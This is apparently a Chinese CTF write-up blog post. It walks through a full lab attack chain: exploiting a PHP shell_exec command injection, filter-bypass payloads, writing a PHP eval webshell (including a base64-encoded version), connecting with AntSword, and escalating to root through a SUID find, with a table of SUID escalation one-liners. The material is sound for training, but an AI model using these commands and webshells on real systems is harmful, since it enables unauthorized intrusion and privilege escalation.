CTF实战：从RCE到SUID提权的完整攻击链拆解-北京尧图网络

昨天下午我拆了一套经典的CTF训练靶场题目是一道标准的Web渗透链前端有个明显到不能再明显的命令执行点后端用shell_exec直接把用户输入丢给操作系统。跑通之后又顺着一个SUID的find把www-data提成了root。整个过程没有花哨的0day没有复杂的逆向纯粹是信息收集命令注入文件落地权限提升的组合拳。但越是这样基础的题目越值得回头把每一步的原理和坑都抠清楚因为这套思路放到真实授权测试里同样成立。这篇文章就把这条完整链路拆开讲从如何判断shell_exec可执行、到无回显时怎么探测、再到利用RCE写一个一行后门然后用蚁剑接管、最后通过SUID权限位稳定提权。适合刚接触CTF、想系统梳理命令执行和Linux提权路线的同学也适合看过很多零散教程但没从头到尾跑通一次完整攻击链的朋友。1. 题目复盘与解题路径总览1.1 一个典型的RCE考点长什么样CTF里最常见的第一类Web入口就是RCERemote Code Execution本质是服务端把用户可控的数据拼进了可以被系统解释的代码或命令中。很多题目会故意把漏洞页做得很显眼比如有个接口长这样?php $cmd $_GET[cmd]; echo shell_exec($cmd); ?你访问/?cmdid页面直接返回uid33(www-data) gid33(www-data) groups33(www-data)这种页面就是考题的标准形状。shell_exec会把cmd参数当作系统命令交给shell执行再把标准输出返回给浏览器。问题在于服务端完全没有对输入做任何过滤连基本的白名单、黑名单都没有等于直接开了一扇门。但要注意并不是每个RCE点都会像上面那样把输出明明白白打印出来。有些是system有些是passthru有些是exec只把最后一行返回还有些藏在图片处理、日志写入、模板渲染等功能里。不管形式怎么变核心思路一致找到一条能让服务端执行系统命令的路径然后想方设法把命令的执行结果回传或落地。1.2 一条完整的攻击链这套题的价值在于不是一个单点漏洞而是一条完整的攻击链大致可以分成五步确认RCE存在并摸清命令执行的回显与过滤情况。借助RCE在Web目录下写入一个PHP一句话木马。用蚁剑AntSword连接这个木马获得一个更稳定的WebShell入口。在WebShell里做Linux基础信息收集枚举可利用的SUID文件。利用SUID权限位的缺陷执行提权命令拿到root权限读取flag。发现漏洞只是开始后面每一步都有各自的取舍和坑。比如写WebShell时如果你直接echo ?php ... shell.php单引号、双引号、$符号很容易被shell二次解析导致写入的文件内容残缺又比如SUID提权时find命令确实可被利用但如果不理解-p参数和exec的参数分隔符号最终拿到的可能依然是一个低权限shell。我把这条链拆成下面几个章节按实际操作顺序讲清楚每一段的思路和细节。2. 用好shell_exec从回显探测到命令注入2.1 shell_exec的回显机制与调试方法shell_exec是PHP里执行外部命令的函数之一行为很容易被误解。它执行系统命令后只会把标准输出作为字符串返回标准错误默认不会进入返回结果。也就是说如果页面只写了echo shell_exec($cmd)而你执行了一条报错命令看到的往往是一片空白而不是错误信息。这一点在初期的探测阶段很关键。我的习惯是拿到一个疑似RCE的点之后先组合执行一组命令同时把标准错误也带出来?cmdwhoami;id;ls -la /tmp;cat /etc/passwd 2121的作用是把标准错误重定向到标准输出这样即使命令本身报Permission denied或者文件不存在也能在页面上看到原因。调试RCE时不要一次性只测一条命令多命令串联可以快速判断当前运行身份、哪些目录可写、哪些关键文件可读。还需要了解一个容易踩的坑如果页面返回空白不代表命令没有执行成功也可能只是shell_exec返回了NULL或空字符串。比如执行cd /root ls时cd /root可能没有输出而ls因为权限问题把错误写到stderr此时不加21页面同样空白。遇到空白结果时优先想到有输出但没被捕获而不是函数被禁用了。如果目标机器的命令执行结果实在无法直接回显就需要采用时间盲测或者写文件二次验证。最基础的方法是执行sleep 5看响应耗时如果页面卡了大约5秒再返回说明命令确实进入shell执行了。还有一种做法是在可写目录中落地文件再通过其他漏洞或功能读取该文件比如往/tmp写一个标记文件再借助文件包含读取。2.2 无回显时的三板斧在实际题目中RCE点不总是配置得那么友好。有的把函数执行结果丢进日志有的直接丢弃有的把输出渲染到了不显眼的地方。这种情况下我一般按照下面的顺序排查第一先做延时探测确认命令是否真正执行。执行sleep 3并观察响应时间如果响应时间明显增加说明注入点有效。这个方法最简单也最不容易被环境干扰。第二写入临时文件用后续的功能验证。比如先执行echo test /tmp/xxxxx然后尝试通过任意文件读取、文件包含、目录遍历等能力读这个文件。只要能读出来就证明命令已经落地执行。第三如果目标环境允许对外连接也可以考虑把命令结果通过HTTP请求发到自己的可控服务上但这属于外带场景CTF里大多数题目并不需要走这一步而且涉及跨网络交互时要注意合规边界只在自己的靶场里做验证。很多新手在无回显场景下第一个想到的是用curl外带但实际解题时先确认回显机制反而更快因为很多看似无回显的情况只是21没加上或者shell_exec只捕获了stdout没捕获stderr。2.3 命令分隔符和常见字符的绕过技巧当RCE加上简单过滤时问题就从能不能执行变成了怎么让命令合法地拼到shell里。两道最常见的过滤是分隔符被拦截、空格被拦截。命令分隔符的数据库很丰富;、、||、|、换行符都能用来拼接命令。如果cmd参数直接被拼进shell_exec那么?cmdid;whoami ?cmdidwhoami ?cmdid||whoami ?cmdid|whoami ?cmdid%0awhoami都是可尝试的拼接方式其中%0a是URL编码后的换行符在shell里等同于按下回车。有时候分号被过滤换行符却安然无恙所以要逐个测试。空格的过滤也是CTF里特别常见的坑。过滤空格后直接的cat /flag会失效。常见替换方案有使用${IFS}、制表符%09、使用重定向符甚至用花括号展开。比如cat${IFS}/flag cat%09/flag cat/flag {cat,/flag}这里面的原理不复杂shell本身用空格作为单词分隔符但IFSInternal Field Separator默认包含空格、制表符和换行所以${IFS}在多数场景里可以替代空格%09是制表符在某些shell里也能被识别为重定向或分隔。单独记这些绕过姿势意义不大更重要的是遇到底层报错时先把字符做一次URL编码再逐段拆解判断到底是哪个字符被服务端过滤了。如果过滤的是关键字比如禁止cat、flag首选方案是使用通配符、变量拼接和外部命令替代。cat /fla*可以绕过只针对完整文件名的拦截cat /flag利用空引号让字符串变成一个token更通用的是把命令做base64编码再解码执行echo Y2F0IC9mbGFn | base64 -d | bash这样过滤规则很难直接从原始输入里识别出cat和flag。不过这类绕过只对简单正则过滤有效如果目标使用了完整的命令白名单或禁用函数那就要另找路径了。3. 落地WebShell给蚁剑一个稳定的入口3.1 为什么还要写一个WebShell拿到命令执行之后很多人会有点疑惑我都能执行系统命令了直接cat /flag不行吗为什么还要费事写一个WebShell再连蚁剑我在实战中比较喜欢WebShell方案原因在于RCE点通常是脆弱的它可能依赖某一个特定参数可能每次执行都需要经过日志转发也可能在某个反序列化接口里只能执行有限几条命令。而蚁剑连接WebShell后你能得到的是完整的图形化文件管理、虚拟终端、数据库连接和插件系统随便切换目录、编辑文件、执行命令稳定性和可操作性完全不是一个量级。对后续的SUID枚举和提权阶段来说这种稳定性非常重要——你不会希望正在输入复杂命令时因为RCE参数被截断而中断操作。所以从shell_exec到蚁剑的这一步本质上是把一个脆弱的RCE升级成一个稳定的后门入口。当然这句话必须在授权环境里理解CTF靶场和自己搭的靶场是这套操作的适用边界。3.2 三种落地方式与命令构造写WebShell的思路很简单用RCE在Web服务器能解析的目录中写入一个PHP文件这个文件的内容是一个可以被蚁剑识别的一句话木马。最经典的一句话后门长这样?php eval($_POST[x]); ?当用户向这个文件POST一个名为x的参数时参数内容会被当作PHP代码执行。蚁剑与WebShell通信的本质就是向这个入口提交特定的PHP代码。但这里有个非常实际的问题你通过RCE写入文件时echo命令的内容必须经过shell解析如果处理不好文件内容会缺胳膊少腿。我第一次操作时直接用双引号包裹PHP代码结果PHP里的$_POST被外层shell当成变量提前替换写进文件的变成了空值。后续我总结出三种稳妥的落地方式。第一种用单引号包裹PHP内容内部PHP变量用双引号索引echo ?php eval($_POST[x]); ? /var/www/html/shell.php外层单引号内的内容会原样输出虽然$符号在双引号里仍是PHP的变量前缀但由于整个PHP代码块被单引号包裹shell不会展开它。第二种用base64编码这是最稳的一招因为整个过程中不会出现任何特殊字符echo PD9waHAgQGV2YWwoJCRfUE9TVFsieCJdKTsgPz4 | base64 -d /var/www/html/shell.php这里需要你先把一句话木马转成base64再执行避开了所有引号、变量、括号可能带来的解析问题。如果你不确定目标机器有没有base64命令也可以用xxd -r、printf等但通常Linux环境都自带base64。第三种利用printf直接格式化输出printf %s ?php eval($_POST[x]); ? /var/www/html/shell.phpprintf本身不会对$做变量展开只要把内容作为参数传入文件内容就是精确的。这三种方式里日常CTF解题我优先用base64因为它的可预测性最强写出来的文件内容与预期完全一致。写完之后不要急着用蚁剑连先通过RCE检查一下文件是否真的落地、内容是否完整ls -la /var/www/html/shell.php cat /var/www/html/shell.php常见的低级错误是文件写到了错误目录。如果你不知道Web根目录在哪可以先执行find / -name index.php 2/dev/null找到网站入口所在目录再决定写到哪里。有些靶场用的是Nginx根目录可能是/usr/share/nginx/html不是默认的/var/www/html。3.3 蚁剑连接参数与常见失败原因蚁剑的界面是图形化的操作路径不算复杂。打开后选择添加数据填写URL地址和连接密码再选择编码器就能试连。以刚才的shell.php为例连接参数通常是URLhttp://目标地址/shell.php密码x编码器选base64或默认的chr都可以连接类型默认填好之后点击测试连接如果提示连接成功就可以在数据管理器中双击打开这个入口。蚁剑文件管理界面会让你看到Web目录列表后端服务信息也会一并展示出来。我在实际使用中遇到最多的连接失败场景有以下几种。一是URL路径不对shell.php写到了/tmp但Web根目录是/var/www/html直接用URL访问当然404。二是写入的文件没有执行权限或者所在目录被PHP安全配置限制为不可解析。三是目标机器对eval这类高危函数做了禁用导致POST内容被拦截蚁剑连接时返回空白。还有一种是PHP版本问题例如PHP 7以上对assert的调用方式有变化如果写入的是assert($_POST[x])这种老式后门在新版本上可能无法执行。排查时可以先用浏览器直接POST一个简单参数测试curl -d xecho test; http://目标/shell.php如果页面返回test说明后门可用如果返回空白或500就要检查文件权限、PHP配置和安全插件。蚁剑本身并不神秘它只是把原本需要手动构造的POST请求图形化问题通常出在WebShell没写好而不是蚁剑配置错了。4. SUID提权从www-data到root的最后一公里4.1 SUID的本质与权限交换过程拿到WebShell之后你通常是一个低权限Web用户比如www-data。这种用户能读写Web目录但读不了/flag更不能随便修改系统敏感文件。CTF里剩下的事情往往只有一件提权。提权有很多路径内核漏洞、Cron任务、sudo配置错误、环境变量劫持都是常见方向。SUID提权是其中原理最简单、也是最常考的Linux基础考点之一。SUID是Set User ID的缩写是一个特殊的文件权限位。正常情况下用户运行一个程序时该进程的权限与运行它的用户身份一致。比如我以www-data身份运行cat那这个cat进程就只有www-data的权限。但当一个可执行文件被设置了SUID位并且文件所有者是root时任何用户运行这个文件产生的进程的有效用户ID都会被设置成root。可以把这个理解成临时借领导的工牌刷门禁——刷门禁的瞬间你确实获得了领导级别的门禁权限但口令还是系统按照root身份校验的。用ls -l查看一个设置SUID的可执行文件时所有者权限位会从x变成s例如-rwsr-xr-x 1 root root 123456 /usr/bin/find这里所有者权限位显示为rws那个s就是SUID位的标志。内核在execve()加载这个程序时会检查文件的SUID位并把进程的euid有效用户ID设置为文件所有者的UID。后面内核做权限检查时看的是euid而不是ruid真实用户ID所以这个进程就能以root身份读取原本无权限的文件、执行原本无权限的系统调用。SUID本身不是漏洞passwd、su、sudo这些程序都需要SUID位才能执行特权操作。问题在于如果一个本来就能让你执行命令、读写文件或进入交互shell的工具也带了SUID位那等于把一个root权限的门面交到了普通用户手里。4.2 枚举SUID文件哪些能打哪些是干扰项提权的第一步是找出目标机器上所有设置了SUID位的可执行文件。经典命令是find / -perm -4000 -type f 2/dev/null-perm -4000匹配的就是SUID位-type f限定普通文件2/dev/null把无权限目录的报错丢掉。另一种写法是find / -uid 0 -perm -4000 -type f 2/dev/null-uid 0进一步限定文件所有者为root这样排除掉那些非root所有的SUID文件。输出列表里通常会出现一串系统自带文件比如/usr/bin/passwd、/usr/bin/su、/usr/bin/sudo这些基本是正常系统功能不能直接利用。真正需要关注的是下面几类能直接执行系统命令的工具find、vim、nmap、less、more。自带脚本解释器的工具python、perl、ruby、php。能拷贝或覆盖文件但本身不执行命令的工具cp、tee。判断一个SUID文件能不能打核心问题只有一个这个程序是否允许你以某种方式执行任意命令或写入特权文件。find能用-exec选项调用外部命令vim能通过:!进入shellpython本身就是解释器这些都属于高风险组合。而passwd虽然拥有root权限但其设计目标就是修改密码正常情况下不会给你执行任意命令的口子所以属于干扰项。找到可疑文件后我会先用ls -l确认SUID位确实存在再检查利用方式是否匹配目标系统里的工具版本。有些靶场会把bash也设置成root所有的SUID那样的话直接运行/bin/bash -p就能拿到root shell这种属于送分题。4.3 常用SUID二进制利用表下面这张表是我平时整理的高风险SUID二进制清单每一项都标注了对应的触发方式。建议照着这张表在本地的练习靶场里逐一复现一遍熟悉之后遇到相似环境能更快定位。二进制触发命令原理findfind / -exec /bin/sh -p \; -quit-exec执行外部命令且继承SUID权限bash/bin/bash -p-p参数保留euid为root运行pythonpython -c import os; os.setuid(0); os.system(/bin/sh)解释器可调用系统函数切换UIDvimvim -c :set shell/bin/sh -c :shell通过编辑器内部的shell功能less / more打开文件后输入!/bin/bash分页器内置shell退出方式perlperl -e use POSIX qw(setuid); setuid(0); system(/bin/sh)脚本语言直接调setuidnmapnmap --interactive后输入!sh老版本nmap的交互模式这里重点说一下find因为它在CTF里出镜率最高也最稳定。find / -exec /bin/sh -p \; -quit这条命令的含义是从根目录开始遍历文件每处理一个文件就执行一次/bin/sh -p。\;是find命令中-exec的参数结束符告诉find这里是一条独立的外部命令-quit表示在第一个匹配项处理完后立即退出避免无限递归。之所以给/bin/sh加-p是因为bash和某些dash在启动时会检查真实UID与有效UID是否一致如果不一致默认会主动把有效UID降为真实UID-p参数可以关闭这个降权机制。如果不加-p你得到的可能还是www-data权限的shell提权就失败了。4.4 一次完整的提权操作实录下面我用一次完整的靶场操作来演示从WebShell到root的整个过程所有操作仅在授权靶场内进行。在蚁剑的虚拟终端里输入id输出显示当前是www-data用户。接着执行SUID枚举find / -perm -4000 -type f 2/dev/null结果里除了常见的/usr/bin/passwd、/usr/bin/sudo之外我看到了一个格外显眼的路径-rwsr-xr-x 1 root root 123456 /usr/bin/find确认find被设置了SUID位那么直接构造利用链。先试一下能不能从find中唤醒一个root shellfind / -exec /bin/sh -p \; -quit执行后终端提示符没有太大变化但再执行id时输出变成uid0(root) gid0(root) groups0(root)此时已经拿到root权限。接下来定位flag的位置。使用find / -name *flag* 2/dev/null常见的flag路径有/flag、/root/flag.txt、/home/ctf/flag。定位到之后直接读取cat /flag如果flag文件权限为600 root:root那么提权前这个操作会返回Permission denied提权后则能正常读出内容。这也是验证SUID提权是否成功的一个重要标志。需要注意find利用方式虽然稳定但执行时它会在整个文件系统里不断遍历如果目标机器文件很多命令可能运行得比较慢甚至在极少数环境下因为文件系统错误而中断。更快的替代方式是利用现有的可写目录缩小查找范围或者直接对已知存在的路径执行findfind /tmp -exec /bin/sh -p \; -quit。反正核心就是通过find调用外部命令。5. 踩坑记录与排查清单5.1 我碰到的四个典型问题这套题我完整跑过不止一次也见过不少人在某个中间步骤卡死。下面这四个问题是我个人出镜率最高的单独列出来希望你能少走几趟弯路。第一个问题是命令执行了但页面始终空白。这个坑经常出现在用shell_exec直接输出结果的场景里原因是stderr没有被捕获。解决办法是在命令末尾加上21把错误输出合并到标准输出中一起返回。另一个可能原因是shell_exec返回了NULL如果页面代码直接echo一个NULL在多数PHP配置下显示为空白。第二个问题是写入的WebShell在蚁剑里连不上。我遇到过很多次都是因为把文件写到了/tmp但Web根目录在/var/www/html。你需要先确认网站的DocumentRoot再决定写文件的位置。另一个常见原因是写入的文件权限不对比如没有设置读权限或者所在目录不允许Web服务执行PHP。如果二者都正常可以先用curl手动POST测试再看蚁剑的返回信息。第三个问题是利用find提权时调用了/bin/sh但权限还是www-data。这通常是因为目标shell启动时主动丢弃了SUID权限尤其当/bin/sh指向bash或dash时不带-p参数就会自动把euid降为ruid。解决办法就是给shell加-p参数。如果连-p都失效考虑改用python或perl这类能显式调用setuid(0)的解释器。第四个问题是提权后找不到flag。这个不算真正的坑更多是经验问题。flag的文件名不一定叫flag有时是flag.txt、flag_is_here也可能藏在/root目录的某个不起眼文件中。我习惯用find / -name *flag*先做一轮全盘搜索如果担心干扰项太多可以缩小范围到/root、/home、/tmp等目录。某些题目还会把flag放在环境变量或系统进程参数里这种情况用env、ps aux检查一下也行。5.2 排查思路速查表我把上面这些内容整理成一张速查表方便你实际做题时快速定位问题现象可能原因排查方向命令执行无任何输出未捕获stderr / shell_exec返回NULL加21换拼接用sleep测试是否真的执行写出的shell访问404目录不对用find / -name index.php定位Web根目录写出的shell访问空白eval被禁用 / 文件内容被shell破坏用cat查看文件换base64写入检查disable_functions蚁剑连接成功但执行总报错后门密码对不上 / 编码器不匹配核对POST参数名切换base64或chr编码器find提权后仍是www-data未加-p/ shell自动降权使用/bin/sh -p改用python、perlflag读不出文件权限过高 / 找错文件名用root身份执行ls -l全盘find / -name *flag*5.3 几条实操心得最后分享几个我自己总结的习惯。第一每做一步都顺手验证结果不要等最后一次性检查。写入WebShell后立刻cat一次提权成功后立刻id两次一次在利用命令里一次在打开的shell里这样一旦出错能迅速缩小范围。第二优先使用base64处理所有含特殊字符的文件写入和无回显命令执行。这不是最炫技的方案却是最不容易出错的方案。CTF里时间有限稳定比复杂度更重要。第三理解SUID提权的本质比背命令重要得多。记不住find -exec /bin/sh -p没关系你只要明白SUID程序以文件所有者的权限运行而这个程序又可以执行命令就能推导出利用方式。再遇到一个不认识的SUID文件时先问自己三个问题它能执行外部命令吗能进入交互shell吗能改写特权文件吗三个答案里只要有一个是能就值得继续深挖。第四所有提权操作都必须在授权范围内进行。CTF靶场、自己搭的虚拟机、企业明确授权的渗透测试项目都没问题但绝不要在未授权的主机上执行这类操作。工具本身没有善恶使用边界才是需要每个人守住的底线。我个人在实际操作中的体会是RCE与SUID提权这条链路真正难的不是某一单个步骤而是对整个权限模型的理解是否连贯。把shell_exec、WebShell、蚁剑、SUID这四个环节串起来之后下次再看到任何形式的命令执行你自然就会想这个点能带我走到哪一步能写到文件吗能替目标系统换一个入口吗能碰到root吗带着这几个问题去调试解题效率会高很多。

CTF实战：从RCE到SUID提权的完整攻击链拆解

相关推荐

UPQC统一电能质量控制器：电压暂降和谐波治理的一体化方案

COMSOL注浆流固耦合建模：微裂隙土体浆液扩散模拟

内存函数深度解析：memmove、memcmp、memchr 的用法与避坑指南

更多资讯

Sunshine 新手教程：把游戏串流到家里任意一块屏幕

内蒙古科技大学《Applied Catalysis A：General》：60s，850°C焦耳热构筑钴钼碳化物异质界面，助力高效析氧

十分钟从零跑通 RuoYi-Vue-Plus：本地部署与配置完整指南

【译】告知您的模型何时需要进行深度思考

基于SpringBoot+Vue的健身房会员管理系统（设计与实现）

Vue3——第 7 篇：组件基础——从注册到使用的完整流程

今日更新

微信云开发旅游小程序实战：LBS打卡+UGC社交全栈方案

金融AI代理平台核心拆解：从多代理协作到财报分析实战

基于大数据的智慧旅游推荐与可视化平台架构实践

本周精选

金融AI落地指南：从调研报告到技术选型与工程实践

大模型上下文成本与注意力优化技术深度解析——为何O(n²)平方复杂度无法被常规优化消除｜TaoToken 统一 Key 通道实测

基于GMM的语音识别系统原理与MATLAB实现详解

本月热门

我发现了一个新思路：用 Remotion + Claude Code 像写代码一样自动化生成短视频

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式：TaoToken 统一 Key 配置与验证

2026 大模型集体涨价：用 Python 做企业 Token 成本测算与选型避坑（附配置）

读完文章，想聊聊您的网站？